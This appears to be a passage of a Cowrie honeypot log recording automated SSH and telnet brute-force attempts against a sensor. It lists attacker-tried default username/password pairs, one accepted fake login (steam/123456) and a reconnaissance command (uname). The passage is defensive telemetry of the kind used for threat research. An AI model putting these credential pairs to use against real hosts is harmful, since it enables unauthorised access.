{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:f0:1a:a5:67:a7:e9:9e:13:e5:87:ef:10:fd:d0:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAhoFE3kOicFotHlDW5K1AnJSvOAmYe0qQ5HbD8xjUx+XUJVggkIfIqeRmlOPy8P4DRGSRtLiG8G/P9fFW/KcdrVOgLeNJUq0BnQCAELXIHbzJXs1c3YK7aJavi2/+q94i7orsdxT3O6sR5m8AWC3K//wMY2KS00eNyIbMmz47WXX2092ZXWLkjh4p65PsCF6IIFGsHKfUNzVQGQTkfojppwy7Ppd4v53WTEnAaCs3qgZgSlL+zDsnEJqgU1ZREojSnkW/zogyNzaUYSxTLAk54x7V/rfns2VGvslcjM8xIbA4aGmmdvrMdPB1ol9Q2JNxn979C7R+/F75NwZerEKVBGnUtKPd2KR7D2aOlGFilZQJi8hnviHwOQJ5LJrhjKvf9RkzXUeZhpo5YcWyzA3Tv9/HrcOrA1ZVxGA8uGGGCE8/JaL6R6R09fJaw+yRlyvg36NTiyIoJSzuK5k7VXjamEIoMDAaTTvLSKx0lwew7ly7vH3O0g/c+rKW/Fu6PRn1GLFAKKt2GK7mGWFjX7xISIfeVKF5zBjN3ZqRmNs8oEYskzbPw8Tqq9GKj5GkptSmSB1fkz4Ye4y4Pu1s8KnT/5ScI4EsDfTcG0i4BwS/KZrqMlQbeGQ1IrQQpCTjmnP247Qg1SKcGY2fh/gkl58q0lqMvj3TnDkjhWokfw1MRQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:f0:1a:a5:67:a7:e9:9e:13:e5:87:ef:10:fd:d0:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:54.328100Z","src_ip":"149.56.241.206","session":"756cc1811f2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:f0:1a:a5:67:a7:e9:9e:13:e5:87:ef:10:fd:d0:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAhoFE3kOicFotHlDW5K1AnJSvOAmYe0qQ5HbD8xjUx+XUJVggkIfIqeRmlOPy8P4DRGSRtLiG8G/P9fFW/KcdrVOgLeNJUq0BnQCAELXIHbzJXs1c3YK7aJavi2/+q94i7orsdxT3O6sR5m8AWC3K//wMY2KS00eNyIbMmz47WXX2092ZXWLkjh4p65PsCF6IIFGsHKfUNzVQGQTkfojppwy7Ppd4v53WTEnAaCs3qgZgSlL+zDsnEJqgU1ZREojSnkW/zogyNzaUYSxTLAk54x7V/rfns2VGvslcjM8xIbA4aGmmdvrMdPB1ol9Q2JNxn979C7R+/F75NwZerEKVBGnUtKPd2KR7D2aOlGFilZQJi8hnviHwOQJ5LJrhjKvf9RkzXUeZhpo5YcWyzA3Tv9/HrcOrA1ZVxGA8uGGGCE8/JaL6R6R09fJaw+yRlyvg36NTiyIoJSzuK5k7VXjamEIoMDAaTTvLSKx0lwew7ly7vH3O0g/c+rKW/Fu6PRn1GLFAKKt2GK7mGWFjX7xISIfeVKF5zBjN3ZqRmNs8oEYskzbPw8Tqq9GKj5GkptSmSB1fkz4Ye4y4Pu1s8KnT/5ScI4EsDfTcG0i4BwS/KZrqMlQbeGQ1IrQQpCTjmnP247Qg1SKcGY2fh/gkl58q0lqMvj3TnDkjhWokfw1MRQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:54.332473Z","src_ip":"149.56.241.206","session":"756cc1811f2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:54.356107Z","src_ip":"149.56.241.206","session":"756cc1811f2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":58172,"dst_ip":"159.203.135.109","dst_port":22,"session":"012fc194ef8f","protocol":"ssh","message":"New connection: 83.168.110.85:58172 (159.203.135.109:22) [session: 012fc194ef8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:57.554292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:57.559478Z","src_ip":"83.168.110.85","session":"012fc194ef8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:57.679814Z","src_ip":"83.168.110.85","session":"012fc194ef8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:58.046710Z","src_ip":"83.168.110.85","session":"012fc194ef8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:59.210448Z","src_ip":"83.168.110.85","session":"012fc194ef8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":44740,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb4e0e1a300c","protocol":"ssh","message":"New connection: 193.37.70.224:44740 (159.203.135.109:22) [session: fb4e0e1a300c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:04.040495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:04.045452Z","src_ip":"193.37.70.224","session":"fb4e0e1a300c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:04.134872Z","src_ip":"193.37.70.224","session":"fb4e0e1a300c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fduecn","message":"login attempt [root/fduecn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:04.406751Z","src_ip":"193.37.70.224","session":"fb4e0e1a300c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:05.506719Z","src_ip":"193.37.70.224","session":"fb4e0e1a300c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43632,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f3ee92bb83f","protocol":"ssh","message":"New connection: 83.168.110.85:43632 (159.203.135.109:22) [session: 9f3ee92bb83f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:08.019929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:08.026396Z","src_ip":"83.168.110.85","session":"9f3ee92bb83f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:08.148755Z","src_ip":"83.168.110.85","session":"9f3ee92bb83f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:08.512576Z","src_ip":"83.168.110.85","session":"9f3ee92bb83f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:08.797997Z","src_ip":"83.168.110.85","session":"9f3ee92bb83f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:08.802107Z","src_ip":"83.168.110.85","session":"9f3ee92bb83f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:08.928634Z","src_ip":"83.168.110.85","session":"9f3ee92bb83f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:08.934785Z","src_ip":"83.168.110.85","session":"9f3ee92bb83f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":43394,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf939f44467b","protocol":"ssh","message":"New connection: 109.172.54.111:43394 (10.17.0.5:22) [session: bf939f44467b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:11.409840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:11.414666Z","src_ip":"109.172.54.111","session":"bf939f44467b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:11.514452Z","src_ip":"109.172.54.111","session":"bf939f44467b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass1234","message":"login attempt [root/pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:11.812739Z","src_ip":"109.172.54.111","session":"bf939f44467b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:12.916358Z","src_ip":"109.172.54.111","session":"bf939f44467b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47390,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f612fbd479f","protocol":"ssh","message":"New connection: 83.168.110.85:47390 (159.203.135.109:22) [session: 7f612fbd479f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:18.280891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:18.364019Z","src_ip":"83.168.110.85","session":"7f612fbd479f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:18.485710Z","src_ip":"83.168.110.85","session":"7f612fbd479f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:18.850515Z","src_ip":"83.168.110.85","session":"7f612fbd479f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:19.979843Z","src_ip":"83.168.110.85","session":"7f612fbd479f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":34354,"dst_ip":"159.203.135.109","dst_port":23,"session":"29249e85dbce","protocol":"telnet","message":"New connection: 213.108.3.46:34354 (159.203.135.109:23) [session: 29249e85dbce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:21.360439Z"}
{"eventid":"cowrie.session.closed","duration":0.015973806381225586,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:21.376289Z","src_ip":"213.108.3.46","session":"29249e85dbce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":48358,"dst_ip":"159.203.135.109","dst_port":22,"session":"9886f836aaac","protocol":"ssh","message":"New connection: 83.168.110.85:48358 (159.203.135.109:22) [session: 9886f836aaac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:28.790927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:28.796126Z","src_ip":"83.168.110.85","session":"9886f836aaac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:28.917953Z","src_ip":"83.168.110.85","session":"9886f836aaac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:29.281616Z","src_ip":"83.168.110.85","session":"9886f836aaac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:30.426265Z","src_ip":"83.168.110.85","session":"9886f836aaac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":15602,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c21710e1c1d","protocol":"ssh","message":"New connection: 38.93.206.2:15602 (159.203.135.109:22) [session: 2c21710e1c1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:37.066333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:58:37.071898Z","src_ip":"38.93.206.2","session":"2c21710e1c1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 